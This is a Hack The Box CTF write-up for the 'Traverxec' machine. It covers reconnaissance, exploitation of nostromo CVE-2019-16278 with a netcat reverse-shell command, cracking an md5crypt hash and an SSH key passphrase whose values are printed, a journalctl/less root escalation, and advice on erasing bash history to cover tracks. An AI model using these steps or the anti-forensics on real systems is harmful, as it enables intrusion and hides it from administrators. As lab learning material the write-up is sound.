Traverxec Writeup

Ursa

November 20, 2019

Overview

Contents

1 Walkthrough

1.1 Recon

Firstly, we will of course start a preliminary nmap scan in order to fingerprint what services are being used on the machine. We found the nostromo web service (1.9.6) and SSH running on the machine. Let's go to the browser and see what we can find.

1.2 Scanning

Web Service Looking at the site, we see some basic content and links to graphic projects. At the bottom of the page, we also see a contact form. Let's dig into the HTML source and see if this can be of any use. So far nothing stands out in the source, so we'll run a dirb scan on the machine in order to look for any hidden or interesting directories. While this is running, let's check for a 'robots.txt' file. We get a 404 error when we look to the robots.txt file so we'll wait for the dirb scan to complete. There aren't too many interesting dirs to look at; what we have is:

- css
- img
- icons
- js
- lib

CVE Research Let's look into some CVEs since we can't get anything from cursory scanning. As it sits, CVE-2019-16278 (which covers remote code execution) is available. Luckily for us, someone already wrote a shell script to take advantage of it. We downloaded the script (*page 5*) and we're ready to go.

1.3 Gaining Access

Getting a shell Firstly, we want to get a connection to the box. In order to do that, we need to get the machine to run bash and have a connection open. It's much easier to listen on our machine and run bash from the other machine, then do our stuff that way. We set up a nc session listening on port 42069, and then run the script with args *10.10.10.165 80 nc -e bash* ***our machine*** *42069.* Now that we're in, we'll check the user and pwd to get a hint on where we're at.

Snooping Now that we're in, let's check the users to see what we're working with. We see a user 'david' in the home dir, and the */etc/passwd* file shows david as well as a few other 'accounts' we can use to move parallel in the system (like the irc with no login).

1.4 Maintaining Access

Getting user creds Our end(midway, really) goal is to log in as David and get the user flag. What do we need to do in order to do this? In the nostromo directory under /var/, we have a conf dir, and in that, there's *.htpasswd.* If you can't see it, you should use the *-la* flags with ls in order to see everything and on a tidy layout. Inside this file, there's the user david and the password as a hash **$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/**. The next step is to reverse this.

Grabbing the password Let's use *hash-identifier* to see what kind of hash it is, so we know what to tell hashcat when we work with that. It is a md5crypt hash, so we'll pass the -m parameter as 500 instead of 0 when we got to crack the password. I'm also using *johntheripper* to make sure that the password is accurate. Johntheripper returned **Nowonly4me** as the password; Hashcat returns the same result, **Nowonly4me**! This definitely helps us get further.

Walking in David's shoes Now that we've got credentials, we might as well try ssh. But alas it doesn't work like we want, and are left in the cold. Looking at the passwd file may give us an answer to this problem. The default environment for the user david is */usr/sbin/nologin*, and not */bin/bash.* This leaves us scratching our heads and wondering if there's another way to login. In the config file, there are two directories that evoke interest: the *david* dir and the *public_www* dir. The values they're assigned to are of some import. If you read the docs, the david dir is available for nhttpd access, but not the entire dir, just the public_www subdir. We try to ls the david dir but don't have permission, but we should be able to ls inside the public_www subdir since it's stated in the conf to give the www-data user access to it. After looking inside, we find a protected file area, and inside that there's a backup file of ssh keys. This is great, it's a tgz file so we'll just use tar in order to get everything out; no dice, now to the fun stuff.

Cracking the key In order for us to use tar on the file, we need permissions to use tar. What better place than in a tmp dir that we own? We can copy the backup file to our own tmp dir, so we do that and run tar on the tgz file. It looks like *-xvf* isn't working out for us, so we'll check out the help page. Adding the c flag fixes our issue and we can keep digging. Inside the unzipped file is a copy of the home dir, with david and his ssh creds intact. We'll grab these and try to ssh using the private key available to us. At login, we're still prompted to provide a password for the private key. This is frustrating, but we have the key from earlier so that must be it. It turns out that all the effort we put into that was in vain. A sneaky little rabbit hole indeed. What can we do now? Onto cracking the ssh private key. We can use JohnTheRipper for this, but we need to condition the key. There's a utility (not by default on Kali; you'll have to get it from the JTR github repo) we can run that will condition the ssh private key into a ssh-ng file that can be used by john. We pass this in a file and specify the format (JUST ssh, I had a whole issue with trying to specify ssh-ng and got me nowhere very slowly) and a wordlist. After a fraction of a second, we're returned a string: **hunter**. It seems too short of a time to crack, but we should give it a try nonetheless. It turns out it works and we're logged into david's user account where user.txt awaits.

1.5 Privilege Escalation

When we get cozy in david's directory, you'll notice there's a bin dir (which looks pretty interesting). Inside lies server-stats.sh; cat this and examine the output to determine what's going on. At the bottom, you'll see that a certain train of commands gets called (*/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service — /usr/bin/cat*). This will be our ticket to root. If you look at the GTFO Bins page on github, you'll see that there's an entry for journalctl. If the output from journalctl is too long for the terminal, then the default pager is invoked to give the output; in our case this is less. Can you think of a way to make the output bigger than the terminal without messing with the command too much? That's right, manually force the terminal into a smaller window size. Even if you run this command, you'll still have trouble getting less to be invoked. This is because we're piping the command to */usr/bin/cat*, which takes over as the new pager, and will wrap text to the terminal window. This is annoying, so we'll get rid of it. Finally what we're left with is a tiny terminal and a less prompt. From here, you don't want to finish the output; you want to exit the function to a root shell. To do that, type: *!/bin/sh* and you should be greeted with a shiny #. From here, you want to go to the home directory for root and ls the contents. We find root.txt and our mission is complete.

1.6 Covering Tracks

This isn't something people go over a lot, but it should be, even on CTFs like this. Any information you give to the sysadmin or fellow hackers can spoil a challenge or tip an end user off to details you probably wish you kept to yourself (like any action you did inside a tmp dir or what commands you used). Our steps are rather simple in this case, since we didn't do a whole lot. Firstly, let's check any running processes that we invoked. I personally used python a few times to gain a rather rudimentary tty shell after primary break into the www-data user. I'll go ahead and kill those processes real quick. **Note: other users may have done something similar, so take a note of what time you started each process so that you don't inadvertently shut down someones perl one-liner or python exfiltration script while they're using it!** Secondly, we did create a subdir in tmp, so we'll go ahead and remove it to keep spoilers from others and make the place a bit more tidy. Finally, if you have permissions to edit the bash history file, you can go ahead and remove your entries (or all entries if you're such a nice guy) to cover your tracks and keep the sysadmin guessing.

2 What was Learned

Primarily, I learned a lot about CVEs and how much you should look into all available configuration files to get a picture of how a service works. In the config files, the developer tends to wear their metaphorical heart on their sleeve in regards to necessary functions. Mix this skill with cross referencing the documentation and you should be able to succeed fairly easily. Enumeration is also key, don't slack on your digging skills; learn to use locate and see what files and directories you have access to; take advantage of checking permissions. It'll go a long way.

3 What to Research

The first thing to research when it comes to this box and other vulns like this in the wild, is to RTFM, more specifically about how the nhttpd service uses config files. Research what a function actually does, and what flags to give it (or take away) in order to get what you want.

Notes

I really need to take a step back sometimes and look at things from a larger perspective. Getting down in the weeds for an extended period of time muddles the mind and makes it hard to work through frustration. As hard as it may seem not to obsess over a small problem, or a technical loop, you might need a break to think of something else; with a clear mind return to the problem and look at things through a general lens.

Conclusion

I hope you enjoyed this writeup (for those I actually give this out to) and that you learned something useful on top of having a good time. If you'd like to point me to more accurate resources if I messed something up, please feel free to send me an email at **nchri49@wgu.edu** or shoot me a message on HTB (user: **Ursa**). Thanks again for your time and kind consideration; Happy Hacking!

4 Resources

GTFO Bins :
gtfobins.github.io/gtfobins (for the specific article we used, append **/journalctl**)

CVE-2019-16278 :
cvedetails.com/cve/CVE-2019-16278/

Sp0re's CVE exploit script :
git.sp0re.sh/sp0re/Nhttpd-exploits/src/branch/master/CVE-2019-16278.sh

JohnTheRipper repo :
github.com/magnumripper/JohnTheRipper